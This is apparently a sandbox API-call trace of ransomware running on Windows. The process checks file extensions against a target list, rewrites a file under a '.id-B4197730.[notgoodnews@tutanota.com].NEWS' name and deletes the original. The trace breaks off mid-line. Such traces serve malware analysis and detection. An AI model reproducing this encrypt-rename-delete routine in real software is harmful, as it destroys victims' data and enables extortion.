[0081.415] lstrlenW (lpString=".xlsx") returned 5 [0081.415] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0081.415] lstrlenW (lpString=".ppt") returned 4 [0081.415] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0081.415] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0081.415] lstrlenW (lpString=".zip") returned 4 [0081.415] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0081.415] lstrlenW (lpString=".rar") returned 4 [0081.415] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0081.415] lstrlenW (lpString=".bz2") returned 4 [0081.415] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0081.415] lstrlenW (lpString=".7z") returned 3 [0081.415] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0081.415] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0081.415] lstrlenW (lpString=".dbf") returned 4 [0081.415] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0081.415] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0081.415] lstrlenW (lpString=".1cd") returned 4 [0081.415] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0081.415] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0081.415] lstrlenW (lpString=".jpg") returned 4 [0081.415] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0081.415] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0081.415] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0081.415] lstrlenW (lpString=".doc") returned 4 [0081.416] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0081.416] lstrlenW (lpString=".docx") returned 5 [0081.416] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0081.416] lstrlenW (lpString=".pdf") returned 4 [0081.416] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0081.416] lstrlenW (lpString=".xls") returned 4 [0081.416] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0081.416] lstrlenW (lpString=".xlsx") returned 5 [0081.416] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0081.416] lstrlenW (lpString=".ppt") returned 4 [0081.416] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0081.416] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0081.416] lstrlenW (lpString=".zip") returned 4 [0081.416] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0081.416] lstrlenW (lpString=".rar") returned 4 [0081.416] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0081.416] lstrlenW (lpString=".bz2") returned 4 [0081.416] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0081.416] lstrlenW (lpString=".7z") returned 3 [0081.416] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0081.416] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0081.416] lstrlenW (lpString=".dbf") returned 4 [0081.416] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0081.416] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0081.416] lstrlenW (lpString=".1cd") returned 4 [0081.416] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0081.416] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0081.416] lstrlenW (lpString=".jpg") returned 4 [0081.416] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0081.416] lstrcmpiW (lpString1=".sys", lpString2=".NEWS") returned 1 [0081.416] lstrlenW (lpString="pagefile.sys") returned 12 [0081.417] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0081.417] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0081.417] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0081.417] lstrlenW (lpString=".doc") returned 4 [0081.417] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0081.417] lstrlenW (lpString=".docx") returned 5 [0081.417] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0081.417] lstrlenW (lpString=".pdf") returned 4 [0081.417] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0081.417] lstrlenW (lpString=".xls") returned 4 [0081.417] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0081.417] lstrlenW (lpString=".xlsx") returned 5 [0081.417] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0081.417] lstrlenW (lpString=".ppt") returned 4 [0081.417] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0081.417] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0081.417] lstrlenW (lpString=".zip") returned 4 [0081.417] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0081.417] lstrlenW (lpString=".rar") returned 4 [0081.417] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0081.417] lstrlenW (lpString=".bz2") returned 4 [0081.417] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0081.417] lstrlenW (lpString=".7z") returned 3 [0081.417] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0081.417] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0081.417] lstrlenW (lpString=".dbf") returned 4 [0081.417] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0081.417] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0081.417] lstrlenW (lpString=".1cd") returned 4 [0081.417] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0081.417] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0081.417] lstrlenW (lpString=".jpg") returned 4 [0081.417] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0081.418] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0081.418] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0081.418] lstrlenW (lpString=".doc") returned 4 [0081.418] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0081.418] lstrlenW (lpString=".docx") returned 5 [0081.418] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0081.418] lstrlenW (lpString=".pdf") returned 4 [0081.418] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0081.418] lstrlenW (lpString=".xls") returned 4 [0081.418] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0081.418] lstrlenW (lpString=".xlsx") returned 5 [0081.418] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0081.418] lstrlenW (lpString=".ppt") returned 4 [0081.418] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0081.418] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0081.418] lstrlenW (lpString=".zip") returned 4 [0081.418] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0081.418] lstrlenW (lpString=".rar") returned 4 [0081.418] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0081.418] lstrlenW (lpString=".bz2") returned 4 [0081.418] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0081.418] lstrlenW (lpString=".7z") returned 3 [0081.418] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0081.418] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0081.418] lstrlenW (lpString=".dbf") returned 4 [0081.418] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0081.418] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0081.418] lstrlenW (lpString=".1cd") returned 4 [0081.418] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0081.418] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0081.418] lstrlenW (lpString=".jpg") returned 4 [0081.418] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0081.419] lstrcmpiW (lpString1=".OLB", lpString2=".NEWS") returned 1 [0081.419] lstrlenW (lpString="MSADDNDR.OLB") returned 12 [0081.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.420] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=15984) returned 1 [0081.420] CloseHandle (hObject=0x38c) returned 1 [0081.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0081.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.420] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.420] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0081.427] GetLastError () returned 0x0 [0081.427] ReadFile (in: hFile=0x38c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x3e70, lpOverlapped=0x0) returned 1 [0081.428] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0081.430] ReadFile (in: hFile=0x38c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.430] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1 [0081.430] SetEndOfFile (hFile=0x2c4) returned 1 [0081.430] CloseHandle (hObject=0x2c4) returned 1 [0081.431] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.431] SetEndOfFile (hFile=0x38c) returned 1 [0081.432] CloseHandle (hObject=0x38c) returned 1 [0081.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.433] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0081.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0081.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0081.433] lstrlenW (lpString=".doc") returned 4 [0081.433] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0081.433] lstrlenW (lpString=".docx") returned 5 [0081.433] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0081.433] lstrlenW (lpString=".pdf") returned 4 [0081.433] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0081.433] lstrlenW (lpString=".xls") returned 4 [0081.433] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0081.433] lstrlenW (lpString=".xlsx") returned 5 [0081.433] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0081.433] lstrlenW (lpString=".ppt") returned 4 [0081.433] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0081.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0081.433] lstrlenW (lpString=".zip") returned 4 [0081.433] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0081.433] lstrlenW (lpString=".rar") returned 4 [0081.433] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0081.433] lstrlenW (lpString=".bz2") returned 4 [0081.433] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0081.433] lstrlenW (lpString=".7z") returned 3 [0081.433] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0081.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0081.433] lstrlenW (lpString=".dbf") returned 4 [0081.433] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0081.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0081.434] lstrlenW (lpString=".1cd") returned 4 [0081.434] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0081.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0081.434] lstrlenW (lpString=".jpg") returned 4 [0081.434] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0081.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0081.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0081.434] lstrlenW (lpString=".doc") returned 4 [0081.434] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0081.434] lstrlenW (lpString=".docx") returned 5 [0081.434] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0081.434] lstrlenW (lpString=".pdf") returned 4 [0081.434] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0081.434] lstrlenW (lpString=".xls") returned 4 [0081.434] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0081.434] lstrlenW (lpString=".xlsx") returned 5 [0081.434] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0081.434] lstrlenW (lpString=".ppt") returned 4 [0081.434] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0081.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0081.434] lstrlenW (lpString=".zip") returned 4 [0081.434] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0081.434] lstrlenW (lpString=".rar") returned 4 [0081.434] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0081.434] lstrlenW (lpString=".bz2") returned 4 [0081.434] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0081.434] lstrlenW (lpString=".7z") returned 3 [0081.434] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0081.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0081.434] lstrlenW (lpString=".dbf") returned 4 [0081.434] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0081.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0081.434] lstrlenW (lpString=".1cd") returned 4 [0081.434] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0081.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0081.434] lstrlenW (lpString=".jpg") returned 4 [0081.435] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0081.435] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0081.435] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0081.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\dryer-pocket.exe" (normalized: "c:\\program files\\common files\\dryer-pocket.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.435] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=78336) returned 1 [0081.435] CloseHandle (hObject=0x38c) returned 1 [0081.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\dryer-pocket.exe" (normalized: "c:\\program files\\common files\\dryer-pocket.exe")) returned 0x20 [0081.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\dryer-pocket.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\dryer-pocket.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\dryer-pocket.exe" (normalized: "c:\\program files\\common files\\dryer-pocket.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0081.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0081.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0081.436] lstrlenW (lpString=".doc") returned 4 [0081.436] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0081.436] lstrlenW (lpString=".docx") returned 5 [0081.436] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0081.436] lstrlenW (lpString=".pdf") returned 4 [0081.436] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0081.436] lstrlenW (lpString=".xls") returned 4 [0081.436] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0081.436] lstrlenW (lpString=".xlsx") returned 5 [0081.436] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0081.436] lstrlenW (lpString=".ppt") returned 4 [0081.436] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0081.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0081.436] lstrlenW (lpString=".zip") returned 4 [0081.436] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0081.436] lstrlenW (lpString=".rar") returned 4 [0081.436] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0081.436] lstrlenW (lpString=".bz2") returned 4 [0081.436] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0081.436] lstrlenW (lpString=".7z") returned 3 [0081.436] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0081.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0081.436] lstrlenW (lpString=".dbf") returned 4 [0081.436] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0081.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0081.436] lstrlenW (lpString=".1cd") returned 4 [0081.436] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0081.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0081.436] lstrlenW (lpString=".jpg") returned 4 [0081.436] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0081.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0081.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0081.436] lstrlenW (lpString=".doc") returned 4 [0081.436] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0081.436] lstrlenW (lpString=".docx") returned 5 [0081.436] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0081.437] lstrlenW (lpString=".pdf") returned 4 [0081.437] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0081.437] lstrlenW (lpString=".xls") returned 4 [0081.437] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0081.437] lstrlenW (lpString=".xlsx") returned 5 [0081.437] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0081.437] lstrlenW (lpString=".ppt") returned 4 [0081.437] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0081.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0081.437] lstrlenW (lpString=".zip") returned 4 [0081.437] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0081.437] lstrlenW (lpString=".rar") returned 4 [0081.437] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0081.437] lstrlenW (lpString=".bz2") returned 4 [0081.437] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0081.437] lstrlenW (lpString=".7z") returned 3 [0081.437] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0081.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0081.437] lstrlenW (lpString=".dbf") returned 4 [0081.437] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0081.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0081.437] lstrlenW (lpString=".1cd") returned 4 [0081.437] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0081.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0081.437] lstrlenW (lpString=".jpg") returned 4 [0081.437] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0081.437] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0081.437] lstrlenW (lpString="goal assumed.exe") returned 16 [0081.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\goal assumed.exe" (normalized: "c:\\program files\\common files\\goal assumed.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.438] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=78336) returned 1 [0081.438] CloseHandle (hObject=0x38c) returned 1 [0081.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\goal assumed.exe" (normalized: "c:\\program files\\common files\\goal assumed.exe")) returned 0x20 [0081.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\goal assumed.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\goal assumed.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\goal assumed.exe" (normalized: "c:\\program files\\common files\\goal assumed.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0081.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0081.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0081.438] lstrlenW (lpString=".doc") returned 4 [0081.438] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0081.438] lstrlenW (lpString=".docx") returned 5 [0081.438] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0081.438] lstrlenW (lpString=".pdf") returned 4 [0081.438] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0081.438] lstrlenW (lpString=".xls") returned 4 [0081.438] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0081.438] lstrlenW (lpString=".xlsx") returned 5 [0081.438] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0081.438] lstrlenW (lpString=".ppt") returned 4 [0081.438] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0081.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0081.438] lstrlenW (lpString=".zip") returned 4 [0081.438] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0081.438] lstrlenW (lpString=".rar") returned 4 [0081.439] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0081.439] lstrlenW (lpString=".bz2") returned 4 [0081.439] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0081.439] lstrlenW (lpString=".7z") returned 3 [0081.439] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0081.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0081.439] lstrlenW (lpString=".dbf") returned 4 [0081.439] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0081.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0081.439] lstrlenW (lpString=".1cd") returned 4 [0081.439] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0081.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0081.439] lstrlenW (lpString=".jpg") returned 4 [0081.439] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0081.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0081.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0081.439] lstrlenW (lpString=".doc") returned 4 [0081.439] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0081.439] lstrlenW (lpString=".docx") returned 5 [0081.439] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0081.439] lstrlenW (lpString=".pdf") returned 4 [0081.439] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0081.439] lstrlenW (lpString=".xls") returned 4 [0081.439] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0081.439] lstrlenW (lpString=".xlsx") returned 5 [0081.439] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0081.439] lstrlenW (lpString=".ppt") returned 4 [0081.439] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0081.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0081.439] lstrlenW (lpString=".zip") returned 4 [0081.439] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0081.439] lstrlenW (lpString=".rar") returned 4 [0081.439] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0081.439] lstrlenW (lpString=".bz2") returned 4 [0081.439] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0081.439] lstrlenW (lpString=".7z") returned 3 [0081.440] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0081.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0081.440] lstrlenW (lpString=".dbf") returned 4 [0081.440] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0081.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0081.440] lstrlenW (lpString=".1cd") returned 4 [0081.440] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0081.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0081.440] lstrlenW (lpString=".jpg") returned 4 [0081.440] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0081.440] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.440] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0081.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft 